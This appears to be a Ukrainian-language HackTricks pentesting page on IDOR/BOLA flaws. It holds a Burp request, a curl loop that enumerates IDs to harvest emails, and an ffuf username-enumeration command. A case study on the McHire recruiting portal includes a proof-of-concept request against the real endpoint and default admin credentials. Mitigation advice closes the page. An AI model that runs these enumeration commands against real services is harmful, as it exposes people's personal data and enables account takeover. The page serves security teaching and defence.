107 lines
8.0 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# IDOR (Insecure Direct Object Reference)
{{#include ../banners/hacktricks-training.md}}
IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) виникає, коли веб- або API-ендпойнт розкриває або приймає керований користувачем ідентифікатор, який використовується **безпосередньо** для доступу до внутрішнього об'єкта **без перевірки**, чи має викликач права на доступ/зміну цього об'єкта.
Успішна експлуатація зазвичай дозволяє горизонтальне або вертикальне підвищення привілеїв — наприклад читання або зміну даних інших користувачів і, у найгіршому випадку, повний takeover акаунта або масову ексфільтрацію даних.
---
## 1. Виявлення потенційних IDOR
1. Шукайте **параметри, які посилаються на об'єкт**:
* Шлях: `/api/user/1234`, `/files/550e8400-e29b-41d4-a716-446655440000`
* Параметри запиту: `?id=42`, `?invoice=2024-00001`
* Тіло / JSON: `{"user_id": 321, "order_id": 987}`
* Заголовки / Cookies: `X-Client-ID: 4711`
2. Надавайте перевагу ендпойнтам, які **читають або оновлюють** дані (`GET`, `PUT`, `PATCH`, `DELETE`).
3. Звертайте увагу, коли ідентифікатори **послідовні або передбачувані** — якщо ваш ID `64185742`, то `64185741` ймовірно існує.
4. Досліджуйте приховані або альтернативні потоки (наприклад *"Paradox team members"* посилання на сторінках входу), які можуть відкрити додаткові API.
5. Використовуйте **аутентифіковану сесію з низькими привілеями** і змінюйте лише ID, **зберігаючи той самий token/cookie**. Відсутність помилки авторизації зазвичай є ознакою IDOR.
### Швидка ручна модифікація (Burp Repeater)
```
PUT /api/lead/cem-xhr HTTP/1.1
Host: www.example.com
Cookie: auth=eyJhbGciOiJIUzI1NiJ9...
Content-Type: application/json
{"lead_id":64185741}
```
### Автоматизоване перерахування (Burp Intruder / curl loop)
```bash
for id in $(seq 64185742 64185700); do
curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-H "Cookie: auth=$TOKEN" \
-d '{"lead_id":'"$id"'}' | jq -e '.email' && echo "Hit $id";
done
```
---
### Оракул помилок для перелічення користувачів/файлів
Коли download endpoint приймає одночасно username і filename (наприклад, `/view.php?username=<u>&file=<f>`), тонкі відмінності в повідомленнях про помилку часто створюють оракул:
- Неіснуючий username → "User not found"
- Неправильний filename, але валідне розширення → "File does not exist" (іноді також перелічує доступні файли)
- Неправильне розширення → validation error
Маючи будь-яку аутентифіковану сесію, ви можете fuzz параметр username, утримуючи benign filename, і фільтрувати за рядком "user not found", щоб виявити валідних користувачів:
```bash
ffuf -u 'http://target/view.php?username=FUZZ&file=test.doc' \
-b 'PHPSESSID=<session-cookie>' \
-w /opt/SecLists/Usernames/Names/names.txt \
-fr 'User not found'
```
Після того як виявлено дійсні імена користувачів, робіть запити конкретних файлів напряму (наприклад, `/view.php?username=amanda&file=privacy.odt`). Така схема часто призводить до несанкціонованого розголошення документів інших користувачів та credential leakage.
---
## 2. Кейс із реального життя McHire Chatbot Platform (2025)
Під час оцінки рекрутингового порталу **McHire**, що працює на Paradox.ai, було виявлено наступний IDOR:
* Endpoint: `PUT /api/lead/cem-xhr`
* Authorization: user session cookie для **будь-якого** тестового облікового запису ресторану
* Body parameter: `{"lead_id": N}` 8-значний, **послідовний** числовий ідентифікатор
Зменшуючи `lead_id`, тестер отримав довільні **full PII** заявників (ім'я, e-mail, телефон, адреса, переваги щодо змін) та споживацький **JWT**, що дозволяв session hijacking. Перебір діапазону `1 64,185,742` виявив приблизно **64 million** записів.
Proof-of-Concept request:
```bash
curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-d '{"lead_id":64185741}'
```
У поєднанні з **стандартними обліковими даними адміністратора** (`123456:123456`), які надали доступ до тестового облікового запису, вразливість призвела до критичного витоку даних по всій компанії.
---
## 3. Вплив IDOR / BOLA
* Горизонтальне підвищення привілеїв читання/оновлення/видалення **інших користувачів’** даних.
* Вертикальне підвищення користувач з низькими привілеями отримує функціональність, доступну лише адміністраторам.
* Масове порушення конфіденційності, якщо ідентифікатори послідовні (наприклад, applicant IDs, invoices).
* Забор облікового запису шляхом викрадення токенів або скидання паролів інших користувачів.
---
## 4. Пом'якшення наслідків і найкращі практики
1. **Enforce object-level authorization** на кожен запит (`user_id == session.user`).
2. Віддавати перевагу **indirect, unguessable identifiers** (UUIDv4, ULID) замість автоінкрементних ID.
3. Виконувати авторизацію **server-side**, ніколи не покладатися на приховані поля форм або UI controls.
4. Реалізувати перевірки **RBAC / ABAC** у центральному middleware.
5. Додати **rate-limiting & logging** для виявлення enumeration ID.
6. Перевіряти безпеку кожного нового endpoint (unit, integration, та DAST).
---
## 5. Інструменти
* **BurpSuite extensions**: Authorize, Auto Repeater, Turbo Intruder.
* **OWASP ZAP**: Auth Matrix, Forced Browse.
* **Github projects**: `bwapp-idor-scanner`, `Blindy` (bulk IDOR hunting).
## Посилання
* [McHire Chatbot Platform: Default Credentials and IDOR Expose 64M Applicants PII](https://ian.sh/mcdonalds)
* [OWASP Top 10 Broken Access Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control/)
* [How to Find More IDORs Vickie Li](https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489)
* [HTB Nocturnal: IDOR oracle → file theft](https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html)
{{#include ../banners/hacktricks-training.md}}